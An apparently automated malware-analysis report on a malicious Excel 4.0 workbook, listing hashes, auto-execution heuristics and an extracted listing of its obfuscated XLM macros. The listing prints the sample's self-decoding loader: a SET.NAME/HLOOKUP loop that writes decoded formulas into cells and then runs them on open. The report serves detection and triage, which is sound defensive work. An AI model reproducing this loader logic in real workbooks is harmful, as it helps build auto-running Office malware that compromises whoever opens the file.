Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb9da50a34f4af5c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:34 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 5ffe4741977898f502c5d27219006510 SHA-1: 0a603fee5a1969833e1357df871140f33647bd2f SHA-256: eb9da50a34f4af5c6284d17f34711c9813d477fb9acd4b384f834eb8084bcede
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6537 bytes
SHA-256: 5f3cc3088ef12b90d033b1c7f8dd97e6277eabad5fb5365df7d8e27bdadb7812
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KJnlOxB
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E161 
' 0018     25 LABEL : Cell Value, String Constant - BClboWDGAF len=0 
' 0018     25 LABEL : Cell Value, String Constant - bjxFkXlbXp len=0 
' 0018     22 LABEL : Cell Value, String Constant - bpOXiTS len=0 
' 0018     23 LABEL : Cell Value, String Constant - etfJTfKL len=0 
' 0018     27 LABEL : Cell Value, String Constant - EzyYxapdpNNK len=0 
' 0018     27 LABEL : Cell Value, String Constant - flKOxVBTLaSz len=0 
' 0018     23 LABEL : Cell Value, String Constant - gfquMUaF len=0 
' 0018     21 LABEL : Cell Value, String Constant - HdIpMz len=0 
' 0018     26 LABEL : Cell Value, String Constant - hSHEiLtWHMr len=0 
' 0018     22 LABEL : Cell Value, String Constant - IJHpMyB len=0 
' 0018     25 LABEL : Cell Value, String Constant - lmkhLtDmeB len=0 
' 0018     27 LABEL : Cell Value, String Constant - nsiLUdiuHdms len=0 
' 0018     26 LABEL : Cell Value, String Constant - nvsPJRwOoua len=0 
' 0018     24 LABEL : Cell Value, String Constant - nZOEBfpmH len=0 
' 0018     25 LABEL : Cell Value, String Constant - PiGtRWsrib len=0 
' 0018     22 LABEL : Cell Value, String Constant - pKRBSuF len=0 
' 0018     21 LABEL : Cell Value, String Constant - QhWVZW len=0 
' 0018     21 LABEL : Cell Value, String Constant - sAcCDR len=0 
' 0018     22 LABEL : Cell Value, String Constant - SUnOiXX len=0 
' 0018     22 LABEL : Cell Value, String Constant - sXdTUku len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KJnlOxB,E77,"SET.NAME("PiGtRWsrib",VALUE("0"))",""
'  KJnlOxB,E81,"SET.NAME("SUnOiXX",PiGtRWsrib)",""
'  KJnlOxB,E85,"SET.NAME("nvsPJRwOoua",PiGtRWsrib)",""
'  KJnlOxB,E87,"SET.NAME("sAcCDR",COUNTA(HdIpMz))",""
'  KJnlOxB,E91,"SET.NAME("pKRBSuF",COUNTA(BClboWDGAF))",""
'  KJnlOxB,E95,[],""
'  KJnlOxB,E99,"SET.NAME("nsiLUdiuHdms","")",""
'  KJnlOxB,E102,"SUnOiXX",""
'  KJnlOxB,E104,"SET.NAME("IJHpMyB",HLOOKUP("*",HdIpMz,SUnOiXX,FALSE))",""
'  KJnlOxB,E107,"hSHEiLtWHMr",""
'  KJnlOxB,E111,"SET.NAME("bjxFkXlbXp",PiGtRWsrib)",""
'  KJnlOxB,E113,[],""
'  KJnlOxB,E116,"bjxFkXlbXp",""
'  KJnlOxB,E118,"sXdTUku",""
'  KJnlOxB,E122,"nZOEBfpmH",""
'  KJnlOxB,E125,"lmkhLtDmeB",""
'  KJnlOxB,E127,"SET.NAME("QhWVZW",VALUE(HLOOKUP("*",BClboWDGAF,lmkhLtDmeB,FALSE)))",""
'  KJnlOxB,E131,"EzyYxapdpNNK",""
'  KJnlOxB,E134,"nsiLUdiuHdms",""
'  KJnlOxB,E136,"nvsPJRwOoua",""
'  KJnlOxB,E138,NEXT(),""
'  KJnlOxB,E143,"etfJTfKL",""
'  KJnlOxB,E146,"SET.NAME("f",INT(T(FORMULA(T(nsiLUdiuHdms)&"",""&T(etfJTfKL)))))",""
'  KJnlOxB,E151,"flKOxVBTLaSz",""
'  KJnlOxB,E153,NEXT(),""
'  KJnlOxB,E157,RETURN(),""
'  KJnlOxB,E181,"SET.NAME("gfquMUaF",E77)",""
'  KJnlOxB,E184,"HdIpMz",""
'  KJnlOxB,E188,"SET.NAME("BClboWDGAF",R92C12)",""
'  KJnlOxB,E192,"SET.NAME("flKOxVBTLaSz",198)",""
'  KJnlOxB,E194,"SET.NAME("bpOXiTS",5)",""
'  KJnlOxB,E197,gfquMUaF(),""
'  KJnlOxB,E198,HALT(),""